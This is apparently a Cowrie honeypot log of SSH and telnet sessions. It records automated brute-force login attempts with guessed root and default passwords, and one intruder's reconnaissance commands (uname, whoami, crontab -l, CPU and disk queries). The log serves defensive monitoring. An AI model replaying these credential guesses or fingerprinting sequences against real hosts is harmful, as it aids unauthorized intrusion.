{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:27.164214Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:27.623390Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:27.625797Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:27.840105Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:28.302495Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:28.305636Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:28.520530Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:28.992116Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:28.995353Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:29.210634Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:29.690673Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:29.693667Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:29.908978Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:30.381028Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:30.384310Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:30.600053Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:31.063894Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:31.066327Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:31.280974Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:31.748058Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:31.751668Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:31.966589Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:32.423461Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:32.426562Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:32.640723Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:33.100694Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:33.103846Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:33.319974Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:33.789358Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:33.793260Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:34.010128Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.5","message":"Connection lost after 18.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:34.015389Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":51400,"dst_ip":"10.17.0.5","dst_port":22,"session":"22be46148f23","protocol":"ssh","message":"New connection: 115.241.83.2:51400 (10.17.0.5:22) [session: 22be46148f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:00.510326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:00.516944Z","src_ip":"115.241.83.2","session":"22be46148f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:00.748814Z","src_ip":"115.241.83.2","session":"22be46148f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.63","src_port":49568,"dst_ip":"10.17.0.5","dst_port":22,"session":"55b42912a5b0","protocol":"ssh","message":"New connection: 160.119.76.63:49568 (10.17.0.5:22) [session: 55b42912a5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:01.565473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:01.570411Z","src_ip":"160.119.76.63","session":"55b42912a5b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:01.653001Z","src_ip":"160.119.76.63","session":"55b42912a5b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"pass","message":"login attempt [newuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:01.705884Z","src_ip":"115.241.83.2","session":"22be46148f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scan","password":"","message":"login attempt [scan/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:01.924377Z","src_ip":"160.119.76.63","session":"55b42912a5b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:02.940524Z","src_ip":"115.241.83.2","session":"22be46148f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:03.032313Z","src_ip":"160.119.76.63","session":"55b42912a5b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":16430,"dst_ip":"10.17.0.5","dst_port":22,"session":"36d083a0de3d","protocol":"ssh","message":"New connection: 104.208.108.166:16430 (10.17.0.5:22) [session: 36d083a0de3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:10.090414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:10.095125Z","src_ip":"104.208.108.166","session":"36d083a0de3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:10.315855Z","src_ip":"104.208.108.166","session":"36d083a0de3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r5t6y","message":"login attempt [root/!Q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:11.227834Z","src_ip":"104.208.108.166","session":"36d083a0de3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:12.450793Z","src_ip":"104.208.108.166","session":"36d083a0de3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.15","src_port":57502,"dst_ip":"10.17.0.5","dst_port":23,"session":"062b28e764e6","protocol":"telnet","message":"New connection: 85.217.149.15:57502 (10.17.0.5:23) [session: 062b28e764e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:33.786479Z"}
{"eventid":"cowrie.login.failed","username":"'GET / HTTP/1.1","password":"Host: bbb.ccc","message":"login attempt ['GET / HTTP/1.1/Host: bbb.ccc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:33.791852Z","src_ip":"85.217.149.15","session":"062b28e764e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.03255057334899902,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:59:33.818891Z","src_ip":"85.217.149.15","session":"062b28e764e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":39110,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b87eefc5da5","protocol":"ssh","message":"New connection: 115.241.83.2:39110 (10.17.0.5:22) [session: 9b87eefc5da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:00.714459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:00.721656Z","src_ip":"115.241.83.2","session":"9b87eefc5da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:00.958798Z","src_ip":"115.241.83.2","session":"9b87eefc5da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftptest","password":"12345678","message":"login attempt [sftptest/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:01.914214Z","src_ip":"115.241.83.2","session":"9b87eefc5da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:03.150159Z","src_ip":"115.241.83.2","session":"9b87eefc5da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00222563743591,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:03.656374Z","src_ip":"212.30.36.164","session":"44266610cb7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.30.36.164","src_port":22257,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c041d00b79","protocol":"telnet","message":"New connection: 212.30.36.164:22257 (10.17.0.5:23) [session: 18c041d00b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:05.281096Z"}
